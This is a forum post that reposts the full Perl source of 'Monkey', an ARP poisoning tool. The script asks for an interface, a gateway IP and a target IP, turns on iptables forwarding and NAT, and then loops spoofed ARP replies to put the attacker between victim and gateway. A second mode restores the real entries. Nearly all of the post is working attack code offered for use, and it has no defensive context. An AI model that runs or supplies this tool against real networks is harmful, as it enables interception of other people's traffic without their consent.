Nytro Posted December 26, 2011 Report Posted December 26, 2011 Monkey || ARP Poisoning tool # monkey.pl # # ARP POISONING FrameWork # Copyright 2011 madstein <madstein@f0r3ns1cs> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. # # use Net::ARP ; use Term::ANSIColor; print q{ -------------------------- MADSTEIN ARP-OPT -------------------------- 1- MITM 2- REPING VICTIM }; print "\n"; print ">Choose OPERANDI:\n"; print color("green"),"\n>>>\n",color("reset"); $menu = <STDIN>; chomp $menu; if($menu == "1") { print color ("red"), "[+]",color ("reset"), "Interface to Use Ex: eth1 | wlan0 | eth0 \n" ; $iface = <STDIN>; print color ("red"), "[+]",color ("reset"), "Insert Gateway IP \n" ; $gateway = <STDIN> ; print color ("red"), "[+]",color ("reset"), "Insert Target IP \n" ; $target = <STDIN> ; chomp ($gateway,$target,$iface); #Lets Forward All the Junk shall we system "iptables -P FORWARD ACCEPT"; system "iptables --table nat -A POSTROUTING -o $iface -j MASQUERADE"; #Note some times Net::ARP fails to lookup the Target MAC #If you ever enconter that kind of problem just reload the script #or hardcode the Target MAC $gatemac = Net::ARP::arp_lookup($dev,$gateway); $targetmac = Net::ARP::arp_lookup($dev,$target); $mymac = Net::ARP::get_mac("$iface"); if ($gatemac =~ unknow ) { print color ("green"), "[+]",color ("reset"), "could not get Gateway MAC\n"; die } if ($targetmac =~ unknow ) { print color ("green"), "[+]",color ("reset"), "could not get Target MAC\n"; die} if ($mymac =~ unknow ) { print color ("green"), "[+]",color ("reset"), "could not get Local MAC\n"; die } else { system "clear"; print color ("red"), q{ < wtf > ----- \ \ .:!!!!!:. .!!!!!:. .!!!!!!!!!! ~~~~!!!!!!. .!!!!!!!UWWW$$$ :$$NWX!!: .!!!!XUWW$$$$$$$$$P $$$$$##WX!: .<!!!!UW$$$$" $$$$$$$$# $$$$$ $$$UX :!!UW$$$$$$$$$ 4$$$$$* ^$$$B $$$$\ $$$$$$$$$$$$ d$$R" "*$bd$$$$ '*$$$$$$$$$$$o+#" """" """"""" PURE POISON }, color ("reset"); print color ("green"),"[+]",color ("reset"),"Poison on the Way\n"; print color ("green"),"[+]",color ("reset"),"Monkey in the Middle off $gateway $gatemac |and| $target $targetmac\n"; while (1) { #Gateway operandi this is the, where we Tell the victim we are the gateway Net::ARP::send_packet($iface, $gateway, $target, $mymac, $targetmac, 'reply'); #Target operandi this is the, where we tell the gateway that we are the victim Net::ARP::send_packet($iface, $target, $gateway, $mymac, $gatemac, 'reply'); #ence you see this output you will be poisoning || attack on the way print STDERR color ("green"),".", color ("reset"); sleep (2); } } } if ($menu =="2"){ print color ("green"), "[+]",color ("reset"), "ARP Repinger \n" ; print color ("red"), "[+]",color ("reset"), "Interface to Use Ex: eth1 | wlan0 | eth0 \n" ; $iface = <STDIN>; print color ("red"), "[+]",color ("reset"), "Insert Gateway IP \n" ; $gateway = <STDIN> ; print color ("red"), "[+]",color ("reset"), "Insert Target IP \n" ; $target = <STDIN> ; chomp ($gateway,$target,$iface); #Lets Forward All the Junk shall we system "iptables -P FORWARD ACCEPT"; system "iptables --table nat -A POSTROUTING -o $iface -j MASQUERADE"; #Note some times Net::ARP fails to lookup the Target MAC #If you ever enconter that kind of problem just reload the script #or hardcode the Target MAC $gatemac = Net::ARP::arp_lookup($dev,$gateway); $targetmac = Net::ARP::arp_lookup($dev,$target); $mymac = Net::ARP::get_mac("$iface"); if ($gatemac =~ unknow ) { print color ("green"), "[+]",color ("reset"), "could not get Gateway MAC\n"; die } if ($targetmac =~ unknow ) { print color ("green"), "[+]",color ("reset"), "could not get Target MAC\n"; die} if ($mymac =~ unknow ) { print color ("green"), "[+]",color ("reset"), "could not get Local MAC\n"; die } else { system "clear"; print color ("yellow"), q{ < wtf > ----- \ \ .:!!!!!:. .!!!!!:. .!!!!!!!!!! ~~~~!!!!!!. .!!!!!!!UWWW$$$ :$$NWX!!: .!!!!XUWW$$$$$$$$$P $$$$$##WX!: .<!!!!UW$$$$" $$$$$$$$# $$$$$ $$$UX :!!UW$$$$$$$$$ 4$$$$$* ^$$$B $$$$\ $$$$$$$$$$$$ d$$R" "*$bd$$$$ '*$$$$$$$$$$$o+#" """" """"""" PURE POISON }, color ("reset"); print color ("green"),"[+]",color ("reset"),"REPINGER VERSION\n"; for ($count = 7; $count >= 1; $count--) { #Gateway operandi this is, the where we Tell the victim where the gateway is Net::ARP::send_packet($iface, $gateway, $target, $gatemac, $targetmac, 'reply'); #Target operandi this is the, where we tell the gateway where the victim is Net::ARP::send_packet($iface, $target, $gateway, $targetmac, $gatemac, 'reply'); #ence you see this output you will be REPINGING the VIctim attack will stop print STDERR color ("green"),".", color ("reset"); sleep (2); } } print "REPINGED\n"; }Sursa: r00tsecurity -> Source Code Center :: Monkey || ARP Poisoning tool Quote